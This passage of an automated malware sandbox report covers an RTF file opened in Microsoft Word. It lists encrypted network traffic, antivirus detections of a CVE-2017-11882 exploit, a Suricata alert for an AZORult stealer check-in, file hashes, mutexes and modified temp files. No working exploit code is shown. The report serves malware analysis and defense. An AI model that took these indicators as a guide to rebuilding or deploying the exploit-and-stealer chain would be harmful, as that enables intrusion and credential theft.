  559. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xacl6\tg\"j\\x88\\xbd\\xd8\\xa50\\x8cm\\xddp\\x87j\\x0c\\xb1!\\x1e\\xb95\\xef\\x8d\\xa2\\xb2\\x00\\xbe\\x00\\x93-\\xd0\\xdc\\xa0\\xf8\\xc0\\x00\\xc8\\x99m\\xd9\\x95~\\xde\\xee\\xd3\\xcdf\\xed\\\\x07,f\\xf0^\\xed\\xb5?\\x85\\xcbr\\xabt\\xa8\\xf9i\\xe6i\\x85al\\x9c\\x9d\\x8b\\xb4\\x9a\\x1e\\xe3l\\x83\\x16\\x8a\n\\xc6\\x9d\\x86i\\x13\\x875x\\x13c9\\xae\\xeb\\x989\\xc7\\x90.y\\xd4-b\\xcd\\x0c,j\\xce\\xad\\xa1\\x10\\x90\\xc6\\x15\\d>\r\\x1d\\xcdy\\x8d\\xc9r\\xfd\\xdd\\xadki\\xd7\\xdc\\xdd\\x16\\xa2\\xc797\\xeen\\x9di\\xcfok\\xa9k\\xd6\\x81\\xae\\xff\\x8a\\x97\\xed\\x05\\x1d\\xad\\xa6\\xfe\\x9di\\xc30\\xca\\xf2x\\x980\\xb8\\xe4\\x84\\xba\\xc5\\x0e\\x16\\xfc\\x8ang\\xb1g\\xc3\\xa0?\\xd9\\x85.\\xf4\\xa6\\xd6q\\x1fu#\\xc7eu\\xdbq\\x0ci\\x1c\\x91\\xa4\\xc8\\xae\\x8d\\x1e\\x1b\\xa1\\xb8e\\xf5\\x90\\xc8\\xe9\\x17\\x90p\\xae\\x12\\xc6\\xbe`\\x9c\\xbe\\xfcv\\xac\\xff\\x19\\x83~\\xb4nod\\x0c&|+\\x01\\xd8\\xbd\\x89"
  560.  
  561.  
  562. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1as\\xd7f\\xae\\xc7\\x9a\\xa6,1v'\\xf9\\xaa\\x19.\\xac\\xbfb\\x0c\\xf19\\x8al\\xbb\\x84\\xac\\xc9d\\xc0\\xb6\\x82h\\x16?4^\\xd3.\\xa7j\\xcab\\x80\\xea\\xa1\\xdc\\xafvtl\\xd4j\\x8d\\xcdpp\\x08dz\\xd4l\\x8c)\\x13\\xf1\\xf4\"\\x986b\\x90%(oi\\xbe\\\\x97\\xa8\\x89\\xab\\x8b\\xb3j\\x1e\\x97\\xa79tsr\\xbf\\xe0\\xd6\\xa5\\x89\\xd0\\x8f\\x95\\x85m\\x16f\\x9e\\x97n\\x9ae\\xd5\"\\xcaf\\xa2/53=\"\\xc4bn\\x90\\xe9\\x8c\\x82\\x85?\\xf4q\\x9au2\\xaf+\\xb2n\\xa1\\xcaw\\x85\r\\xacl\\xd6\\xa2\\xf9~s\\xbb\\xb7\\xe1\\xcar\\x1b9\\xc7`\\x93\\xbb\\xf6v\\x93\\xd7r\\x12=ux\\x04\\x12f\\x87#\\xae0\\xf0\\xb4\\xe4\\x8f4?\\xdd\\x06l\\x18\\xc4\\xc7s\\xbch\\x86n\\x9a\\xa4\\x85\\x14w\\xc1,\\xdd\\xa0\\xfd%\\xb9\\xea\\xcay\\x9c\\x88\\xd1\\x89z\\x7f\\xe1m\\x19g>\\x06\\xa1\\xb2\\x1a\\x88\\xb0\\\\xca\\xa5\r+\\xdf\\xbf\\x1b\\xf3xx,pq\\x0f\\x06\\xea\\\\xc6"
  563.  
  564.  
  565. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0c\\xea\\xa1\\x91\\xac\\x96|mno\\x95\\xa7m\\xd5\\xf405\\xbf\\x80\\xb7~\\xac|\\xfa\\x82\\x8a\\xaaa\\xcd\\xaem@\\xc4x\\xe7\\x08w\\x80\\xc0\\xee)\\xce~\\xdb\\xd4x\\x1a~\\x00s\\x05\\xc9\\x17\\x0e~~\\x16\\x19\\xd7\\xbauf\\xf6\n\\xfd\\xa0\\xf6*b\\xe8\\x18\\x1aq\\xa0\\xd0\\x19\\xa4qhc!0n\\xfb\t\\xdba\\xd0\\x958\\x80\\xda\\x94ar\\xcf\\x04\\xeay\\xbd\\xd8h\\xef\\x8ak;\\xd0\\x9d\\xba\\x0cpi\\xee<o\\xd9\\xf4x\\x0e\\xc9\\x07\\x82\\x12q\\xde\\xb2c\\xd6\\x10x\\xe6\\xcf \\xc0x9\\xc7\\xc5\\x8fx\\x85q1\\xf1\\xd6n\\xf5\\xcbw\\xfe\\xf2x\\xb0\\xcc\\x1c\\xc5\\xd3\\xa1\\xf3\\x01d\\x1e\\xf7\\x14\\x9a\\xd8\\xcf\\xd1p\\xcf\\x9f\\xb7jo\\xafq\\xbft\tr\\x8a(\\x02\\xb3\\xca\\x90\\x90\\xeb=\\x1e\\xaco6\\xa2\\x0f\\xef\\xb9\\x83z\\xe4\\xa7\\xed\\xe0c\\xa4\\xe3\\xbbx\\xf2\\xbb\\x99\\x0e\\xc1f\\x01am\\x0f\\xdc\\xec.\\xfb>^\\xa6~\\xb6\n\\x02\\x85\\xa1\\xcb\\xfc\"_\\xbd\\x1b\\xf8t\\xa5\\xc2x\\x93\\xf6l\\xa3"
  566.  
  567.  
  568. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0109q\\xb0$\"\\xecr\\xb9\\xcf\\x1b/b\\xe5.\\xe9\\xd2k\\x8eb\\xd3\\x96\\x9b?c\\xe7\\x98z\\xdd\\x82\\x8dm\\xeajs\\x11\\x1c\\xdf\\xbci\\xff\\xc1\\xa6\\xb0\\xce\\xc0\\xf05\\x9fp\\x02s\\x9e .\\x12\\xd7\\x1bx\\x93\\xb6u\\x08\\x19\\xee\\xab\\x03k\\x9b\\xbe\\xd2\\xe1\\xb9\\xb0u5$\\xe6i,%oz\\3\\x95\\x1e\\xd1\\x10\\x02d\\x86\\x90=\\x99bs\\xcb\\xa7\\xe1f\\x0e\\xb8\\xea\\xb7u\\xd4$0\\x1a\\x1ad\\xd7\\xff\\x9b\\x13\\x9f\\xdct\\xfe\\x96\\xe8\\x81\\x83\\x86\\xa3\\xabl\\x01\\xf7\\x1b\\x01\\xbcv\\x9f\\x05\\xbbf\t\\x89\\xb1\\xd2x\\xd0\\xf5\\xe1\\x0f\\xef@k\\x07\t\\x8d\\x00\\xaf\\xb4\\x98\\xc4/\\x8f\\x95\\x10\\xa8\\xb7\\xa9\\x08\\x84\\x82\\x95!\\x04\\x8c\\x85\\xf5\\xe6v\\x8b\\xbf\\xf4\\xebm\\x8e\\x03bo\\xdb\\\\xbc++\\xdc^(\\x91\\xb3m)<o\\xd0\\xb1hq\\xcay\\x92\\x8cw\\xce\\x8a\\-\\xd3\\x94\\xec\\x86\\xabu\\xca\\xbed\\x835b\\xc6\\x04?`\\x1e\\xe8\\x8f\\x97x=/\\xb812\\x1c\\xa2\\x1d\\xacr\\xc2\\x8d"
  569.  
  570.  
  571. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd7\\x197\\xeek\t\\x07\\x1ai\\xbb\\x84\\x11\\x88\\xc08\\xb6\\xd3\\xa1\\xadu'\\xbc\\x9b\\x11`;\\xdf\\x88\\x15\\x9b\\xd2\\xc5y\\x91x\\x1f& c\\xd9n\\x12\\x0e\\x03\\x0b\\xcf\\xb0e\\x8b\\xefd\\x900\\x8f\\x12\\x86\\x8e:\\xb5\\xea\\xc8\\x15k\\x84\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x868@(\\xed_\\xf9p\\xe1\t\\xdahe\\xe2\\x12\\x0e\\xa9\\x18bc\\xd2\\xbc\\x8b\\x9f\"\\xef\\x13\\xa4\\xb8\\x17\\x16-57\\xafxc9e7\\x19\\xd2g=\\xb4\\xd3"
  572.  
  573.  
  574. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe9\\x00\\x83\\x0b\tiaw\\x81h\\x0f\\xdf\\xca\\xb2n1v\\xfbh9\\xffq\\x10\\x83\\x0f\rjg\\x84m\\xa0\\x9ar\\x85\\xca\\xe7\\xf6\\xb1:\\x1f\\xb7\\xb3\\x05\\xeb\\xa7\\xfc\\xec\\xa4\\xb6\\x15\\xb2g\\xb0\\xffe\\xf0\\xe0\\xa2n\\x7f\\xac\\xf1c=\\xe6d\\xe8\\xb7+\\xfc\\xeex\\xe3\\xde*\\xbcuknw\\x8d\\xce\\xa4\\xb5m@\\x07\\xba\\x016k\\xc9\\x86\\x0b\\x8d\\x97\\xd0\\xa1\\x81&\\xc0\\x02j\\x8d\\xc03\\xcb\\xa6\\x02\"\\xfe\\xbf\\x0c\\xf7\\xa5\\xa3\\xe9t6h2y#\\xfau\\x02i\n\\x7fr\\x8d$s\\xa1v\\xbd\\x9a\\x8c\\xa4\\xbf\\x9e\\xcb\\xb8\\xdf\\xcc\\x8e\\x03\\x82\\xb6\\x06\\xa3\\x9c\\xe6)cp\\xb4\\xf1p\\x12di\\xa0\\xfdn)j\\xdaa\\x0bp\\xa0i\\x80\\x12\\xf5\\xb9@x\\xd4n\\xd1\\xaa\\x97\\xf3\\xea\\xc3\\x8ffk\\xe6\\xc6\\xea;5\\xae(h\\xbdx3!\\xc91\\xbb\\xc9\\xeepf\\x8a\\x84j\\xcd8\\xe7\\xfb\\xd46\\xbc2\\x06\\xfb\\x0e\\xf6\\xf9\\x9b\\xbd\\xb6a6~o\\x90\\x1eg\\x15\\xa6b\\xf1\\xfc-\\x1d\\xf2\\xa1\\x96@n."
  575.  
  576.  
  577. "http_request": "winword.exe_WSASend_\\xde\\x05\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x17\\xb3\\xf5x+\\xf8\\x88%\\x7f\\xf5\\x11\\xe5\\xef\\x91l\\x87\\xa3\\xc6<q\\x1b\\xed\\x1f\\xfai\\x1e\\xa4\\xc3\\x1d\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  578.  
  579.  
  580. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd9\\xae)\\x1a0\\xc0\\xaa6z&\\x953r\\xe6\\x0f\\xb5\\xbe-\\xae\\xea\\xcb|9\\xe3\\x8b5\\xaa\\x16~\\x05\\xc75\\x9f\\xb7\\x9b\\x05\"\\x98cy\\xd8\\xf4#w\\xfa\\xf2\\x8e\\xaf\\xe8z\\x92\\x12\\xaa\\xebf@'\\xae\\xbe\\xdf%\\xaf\\x13\\xca\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfa\\x06\\xb5\\xe0nxi!*\\x91\\xbd\\xce\\x14\\x97\\xf0\\x1c\\x89\\x8d0\\xbf\\x1as\t\\x12e\\xaba\\xc5\\xc3n\\xfemm\\xea\\xe5n\\xef@zk\\x95\\xd6\\xec\\x07n\\xcc\\xd2"
  581.  
  582.  
  583. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd1\\xe6\\xd3\\x89\\xe6i\\xe5y'\\x8c\\x1b+\\x1e\\xe6\\xd1sf\\x14\\x13\\xad&?c0\\x8af\\x8e !\\x91-0\\x1c\\xed\\xd6\\x94g$\\x9b\\xdfrtn\\x0b\\x1e)0\\xa2\\xb9\\xb5\\xf0b\\xdf\\x9c\\xd3\\x00\\xf9e\\xee3\\x90\\xd9=\\xf8\\x10\\xf4\\x1a\\x07\\xa7\\xd6\\xf1\\x99\\xd2\\x91\\xc5\\xa7\\x9d\\xb3\\x7fr\\xb4$\\x82)\\x8e\\\\xbb\\xbf\\xd5\\xea\\x80\\xa2-\\xee\\6\\xaa\\x03\\xbad\\xe4\\xcb\\xe1\\x81p\\x98\\x9e\\xc6v\\xd7\\xa7\\x03_\\x9fx\\xc4\\x88\\xbcb/\\x13\\x88\\xb6b\\xc2\\x89,~j\\xeb0c\\xf3q\\xfd\\xd2q\\xc0\\xd4\\xc4\\xd7\\xc6=r\\xc1\\xd4f\\x0f2\\xfb.,c\\x07\\x9e\\x84\\xc3\\x1f\\xf7\\xcb~\\xcf\\xf7i\\xac\\xfa\\x15\\xc7/ri\\xfc'\\x98\\xca\\x9a\\xf1\\xbf\\x9d\\xeb\\x06\\x81'\\x88\\x90\\x0c\\x89s9\\x16\\xe1\\xb5e\\xb92jf\\x0f\\xb1o\\x98\\xe5\\xbd\\xf7kys9\\x01\\x8aff\\x95\\x00\\x17\\x10\\xe9i\\x0cnq\\xff\\xca\\x13\\xcbjm\"\\x11\\xc2pji\\xd3\\x93\\x1dcy\\xe7\\xa0\\xd1"
  584.  
  585.  
  586. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  587.  
  588.  
  589. "http_request": "winword.exe_WSASend_get /pki/crl/products/miccodsigpca_08-31-2010.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 14 feb 2019 06:01:18 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  590.  
  591.  
  592. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00\\x03\\x01d\\x16'\\xb5\\xb2\\x8ca\\xa5>\\xe1icyc\\x17\\xd6\\xae;%dgw.\\xcd\\x91\\xff\\xc6_\\xdc\\xf3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  593.  
  594.  
  595. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00-6a\\xb3\\xec_\\xaf,\"\\x17t\\x06\\xd7\\xf1\\xde\\x02p\\xbc4\\xff\\xc7\r\\xc4\\x8c\\x0b:\\x845\\x9d\\xc8\"\\x1fmv>\\x99i\\x8aq\\xe5\\xea\\x0c\\x90 \\xc1\\x8a\\x9c\\x0ew\\xda\\xecp\\xf0\\x8e\\xd8\\x0e\\x87\\x19\\x10\\x03\\x10l;v\\xf5\\xae\\xa7\\x08\\x9fjsdyj\\xfc\\x83<;>\\xd6\\xd5\\xdb\\x1ah\\xe2\\xb4n\\x01\\x93\\xb9\\xa9\\x13\\x97\\x1d\\xfao\\x88\\x82k\\xa8x\\xd5j\\xe2\\xe5\\x93u\\xf7\\xb8ur\\x010\\x03\\xa0\\x18\\xcf\\xc4qg\\x87\\xd3\\xbf\\xd6\\xe5\\xed\\x83\\x03\\x954\\x98\ryouj\\xfa\\x07\\x93t\\xb2 \"ed\\xe3\\xfbiq\nr/\\xc0\\xc3\\xec\\xf9\\xa6\\x82\"\\x97q\r\\x91,6q\\x9cy\\xa9u\\x85\\x85i\\x07\\xf0o\\xb6\\xc0\\xb4\\xbc0\\x90?\\x9c#mzn\\xacl\\xd6<\\x0e\\x18a&m\\xef\\x19\\x9a@zv\\xc4\\xc9>)\\x03\\x9f\\xa8ul\\xd3\\x7fh\\x1d\\xa7\"\\xbb\\x8a\\xdc)\\xbe6\\xbbq\\xfe<(\\xa0\\x9b\\xca\\xb9`\\x12\\xd0\\xccb*\\x80\\xa3\\xdc\\xb8"
  596.  
  597.  
  598. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01`\\xd9l(\\x01ox\\xeb\\x88\\x80\\x88\\x17\\xc0\\x95\\x90f\\x9ct\\x0f\\x14\\x0ez\\xbc\\xf8\\x8c\\xae\\x9d\\x05\\x1a\\xb0@\\x81\\xd3\\xc1\\xb9\\x92\\xc6\\xd1\\xda\\x8d2\\xd2\\xe2\\x8b\\xdcl\\x138r\\x8bp\\xca\\xf2\\x1b\\xb1\\x8a\\xfd\\xa4\\xea<\\xd6nz\\x03(\\xbc\\x8aw\\x10\rv4\\x03\\xc9\\x81\\xaf\\xa5\\xac\\x14\\xaf\\xe9\\x8a\\xd9\\xb6y\\xc0y\\x06e\\xbb\\xd1\\x17\\x0c\\xc3\\xa6\\x91\\xbf\\x02jw\\xb7\\xda\\xec*\\x02d\\xc2\\x9d\\xbbi\\xb1\\xc8?\\xa2\\xe2\\x02~\\xe2\\x85ca.$w`\\x01\\x14\\xac\\x87w\\x93\\xc3\\xda\\xf5\\xc7\\x14\\x07f\\x91\\xd7\\x97\\x9d\\x1c\\xd1\\xa2\\xee\\xe9\\x95\\x12h\\xe4\\xb4u\\xff\\xa9\\xc7g\\xb0'\\xd4\\xd5~\\xd9\\xc7y\\x9a 0\\xc9!z\\x8e\\x81\\xd66q\\xa9\\xd2\\xe3\\xb3h%\\x0c$afed\\xc9\\xd0\\x91\\xf72-83\\x83\\x8b\\x04\\xdf7r\\xc4\\xd1\\x8c\\x8c\\x9c\\x87\\xb5\\xc4\\x97g\\x8f\\x7f\\x9e\\xd6\\xeerog\\xabj\\x1do\\x0bfd\\xe0\\x197\\x19\\x87\\xc9\\x0e$\\xd8\\xecl\\xec\\x1a\\x83\\xf6xd\\xfa\\xe0b\\xd6\\xd3t"
  599.  
  600.  
  601. "http_request": "winword.exe_WSASend_\\x17\\x03\\x019p\\xd1\\xcf\\x11\\xdb\\xf9q\\xc2\nzp\\x1d\\x0e\\x92\\x88\\xa4\\x1d\\xff\\xf8\\xa7`)\\x87a:\\x9b:\\xac;\\x17\\xd4wj.\\xc7$\\x01u9\\xa3\\xab\\xef s\\x9d\\xb4e\\xc7\\xe0f\\xe3)\\xc1v\\xed\\xed\\x825\\xde@\\xc1\\x0c\\x01\\xdd\\x05n\\xfcv\\xed\\xa4\\x05\\xb4\\xa7\\xda\\xc7\\xdcy\\x88!\\x91tka\\x157\\xa95\\x17\\x9d\\x0e\\xb1\\xae\\xed\\xa5<\\x95~\\x7f\\xf5\\x88=o6x\\x94\\xd6\\xa2\\xb9\\x94l\\x8b\\xdb\\xeej\\xb4i\\x13\\xd1\\xe2\\xdd\\x86\\x81\\xc7\\xf6\\xf6$\\xf4\\xbb\\xc4\\x9c\\x98p\\xe7\\x15\\x19\\x08gpm2\\x91\\x0fi\\xb2\\xf1s\\xaa!\\xa1w\\xe6\\x0c-z\\xcf\\xe6\\xf1\\xd6\\x07gbh\\xb8x\\x17\\xdc\\x98\\xb1\\xc5\\x94\\x7f\\x7f\\x0b\\xcb\\x7fubgy\\x12\\x89\\xeb\\xdd\\x9cd\\x95\\x16\\x1am\\xdd(\\x8a\\x9a\\x0b\\x87\\xf5f\\x8b,\n\\x15\\x92l\\x02\\xd8#\\x08~\\x16\r\\xc7\\xae=\\x0e\\xec\\x84\\xad\\x87\\xab\\xf2t\\x0e.\\xc3\\xb7b\\x811h9c\\xf7\\x88e;.\\x8f\\x10\\x03\\x12qdz\\xe1i\t"
  602.  
  603.  
  604.  
  605.  
  606. "Description": "Creates a hidden or system file",
  607. "Details":
  608.  
  609. "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp"
  610.  
  611.  
  612. "file": "C:\\Users\\user\\AppData\\Local\\Temp\\~WRL0003.tmp"
  613.  
  614.  
  615.  
  616.  
  617. "Description": "File has been identified by 31 Antiviruses on VirusTotal as malicious",
  618. "Details":
  619.  
  620. "MicroWorld-eScan": "Exploit.CVE-2017-11882.Gen"
  621.  
  622.  
  623. "FireEye": "Exploit.CVE-2017-11882.Gen"
  624.  
  625.  
  626. "McAfee": "Exploit-CVE2017-11882.yx"
  627.  
  628.  
  629. "Arcabit": "Exploit.CVE-2017-11882.Gen"
  630.  
  631.  
  632. "Symantec": "Exp.CVE-2017-11882!g3"
  633.  
  634.  
  635. "ESET-NOD32": "probably a variant of Win32/Exploit.CVE-2017-11882.A"
  636.  
  637.  
  638. "Avast": "Win32:ShellCode Expl"
  639.  
  640.  
  641. "ClamAV": "Doc.Exploit.CVE_2017_11882-6934206-0"
  642.  
  643.  
  644. "Kaspersky": "HEUR:Exploit.MSOffice.Generic"
  645.  
  646.  
  647. "BitDefender": "Exploit.CVE-2017-11882.Gen"
  648.  
  649.  
  650. "Ad-Aware": "Exploit.CVE-2017-11882.Gen"
  651.  
  652.  
  653. "Emsisoft": "Exploit.CVE-2017-11882.Gen (B)"
  654.  
  655.  
  656. "F-Secure": "Exploit:W97M/CVE-2017-0199.B"
  657.  
  658.  
  659. "DrWeb": "Exploit.ShellCode.69"
  660.  
  661.  
  662. "McAfee-GW-Edition": "Exploit-CVE2017-11882.yx"
  663.  
  664.  
  665. "Sophos": "Troj/RtfExp-EQ"
  666.  
  667.  
  668. "Cyren": "CVE-2017-11882.C.gen!Camelot"
  669.  
  670.  
  671. "Avira": "EXP/CVE-2017-11882.Gen"
  672.  
  673.  
  674. "MAX": "malware (ai score=94)"
  675.  
  676.  
  677. "Antiy-AVL": "TrojanExploit/OLE.CVE-2017-11882"
  678.  
  679.  
  680. "Microsoft": "Exploit:O97M/CVE-2017-11882.L"
  681.  
  682.  
  683. "AhnLab-V3": "OLE/Cve-2017-11882.Gen"
  684.  
  685.  
  686. "ZoneAlarm": "HEUR:Exploit.MSOffice.Generic"
  687.  
  688.  
  689. "GData": "Exploit.CVE-2017-11882.Gen (2x)"
  690.  
  691.  
  692. "TACHYON": "Trojan-Exploit/RTF.CVE-2017-11882"
  693.  
  694.  
  695. "Zoner": "Probably W97NativeOnly"
  696.  
  697.  
  698. "Rising": "Exploit.CVE-2017-11882!1.B40D (CLASSIC)"
  699.  
  700.  
  701. "Ikarus": "Exploit.CVE-2017-11882"
  702.  
  703.  
  704. "Fortinet": "MSOffice/CVE_2017_11882.A!exploit"
  705.  
  706.  
  707. "AVG": "Win32:ShellCode Expl"
  708.  
  709.  
  710. "Qihoo-360": "virus.exp.21711882.d"
  711.  
  712.  
  713.  
  714.  
  715. "Description": "Clamav Hits in Target/Dropped/SuriExtracted",
  716. "Details":
  717.  
  718. "target": "clamav:Doc.Exploit.CVE_2017_11882-6934206-0, sha256:7e6d04a02911f357032f250c91ee5efd90634728d8c1bab5b1e170e30350ad84, type:Rich Text Format data, version 1, unknown character set"
  719.  
  720.  
  721. "dropped": "clamav:Doc.Exploit.CVE_2017_11882-6934206-0, sha256:7e6d04a02911f357032f250c91ee5efd90634728d8c1bab5b1e170e30350ad84 , guest_paths:C:\\Users\\user\\AppData\\Local\\Temp\\~WRL0003.tmp, type:Rich Text Format data, version 1, unknown character set"
  722.  
  723.  
  724.  
  725.  
  726. "Description": "Created network traffic indicative of malicious activity",
  727. "Details":
  728.  
  729. "signature": "SURICATA TLS invalid record type"
  730.  
  731.  
  732. "signature": "ET TROJAN AZORult Variant.4 Checkin M2"
  733.  
  734.  
  735. "signature": "SURICATA TLS invalid record/traffic"
  736.  
  737.  
  738.  
  739.  
  740.  
  741. * Started Service:
  742. "osppsvc"
  743.  
  744.  
  745. * Mutexes:
  746. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  747. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  748. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  749. "CicLoadWinStaWinSta0",
  750. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  751. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  752. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  753. "Local\\F99C425F-9135-43ed-BD7D-396DE488DC53"
  754.  
  755.  
  756. * Modified Files:
  757. "C:\\Users\\user\\AppData\\Local\\Temp\\RTF_b54f6f81c118db266fa3d82ca27a9312.doc",
  758. "C:\\Users\\user\\AppData\\Local\\Temp\\~$F_b54f6f81c118db266fa3d82ca27a9312.doc",
  759. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF51C287E4-D0A3-4DFE-BCE9-4FE1B49D3B5B.tmp",
  760. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  761. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  762. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  763. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  764. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab6AE5.tmp",
  765. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar6AE6.tmp",
  766. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSCACB683A-EAAE-4BC7-BA1C-833C50977D14.tmp",
  767. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\AutoRecovery save of RTF_b54f6f81c118db266fa3d82ca27a9312.asd",
  768. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8AD3.tmp",
  769. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8AD4.tmp",
  770. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8AE5.tmp",
  771. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B24.tmp",
  772. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B35.tmp",
  773. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B36.tmp",
  774. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B37.tmp",
  775. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B38.tmp",
  776. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B39.tmp",
  777. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B4A.tmp",
  778. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8B4B.tmp",
  779. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8C65.tmp",
  780. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8CB4.tmp",
  781. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8CB5.tmp",
  782. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8CB6.tmp",
  783. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8CC7.tmp",
  784. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D54.tmp",
  785. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D65.tmp",
  786. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D67.tmp",
  787. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D66.tmp",
  788. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D68.tmp",
  789. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8DC8.tmp",
  790. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8DC9.tmp",
  791. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D88.tmp",
  792. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8E28.tmp",
  793. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8E3A.tmp",
  794. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8DF9.tmp",
  795. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8E4B.tmp",
  796. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8E8B.tmp",
  797. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8E29.tmp",
  798. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8E6B.tmp",
  799. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8EDA.tmp",
  800. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F78.tmp",
  801. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FA7.tmp",
  802. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FA8.tmp",
  803. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab8FE8.tmp",
  804. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FEA.tmp",
  805. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar8FE9.tmp",
  806. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9104.tmp",
  807. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9116.tmp",
  808. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9147.tmp",
  809. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9105.tmp",
  810. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9117.tmp",
  811. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9232.tmp",
  812. "C:\\Users\\user\\AppData\\Local\\Temp\\cab92CF.tmp",
  813. "C:\\Users\\user\\AppData\\Local\\Temp\\cab930F.tmp",
  814. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94E5.tmp",
  815. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94F5.tmp",
